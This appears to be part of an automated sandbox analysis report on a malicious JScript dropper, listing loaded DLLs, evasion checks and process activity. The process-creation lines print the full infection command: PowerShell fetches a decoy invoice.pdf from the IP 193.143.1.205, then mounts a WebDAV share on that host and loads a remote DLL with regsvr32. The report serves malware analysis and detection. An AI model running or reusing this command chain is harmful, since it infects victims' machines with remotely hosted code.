Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6735.js.csv");ITextStream.WriteLine(" entry:7540 f:hytdtq");ITextStream.WriteLine(" exec:2 f:hytdtq");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4855			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4908			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3752	Thread sleep count: 4855 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3752	Thread sleep count: 4908 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3640	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5612	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5248	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2944	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1488	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6460	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000003.2124026306.000001F73089C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3358474255.00000208A505F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000003.2067729211.000002A39810B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}?
Source: wscript.exe, 00000000.00000003.2067729211.000002A39810B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\I
Source: net.exe, 00000007.00000003.2124026306.000001F73089C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW~
Source: net.exe, 00000007.00000002.2126100700.000001F730838000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: svchost.exe, 00000009.00000002.3357109202.000002089F82B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@%

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

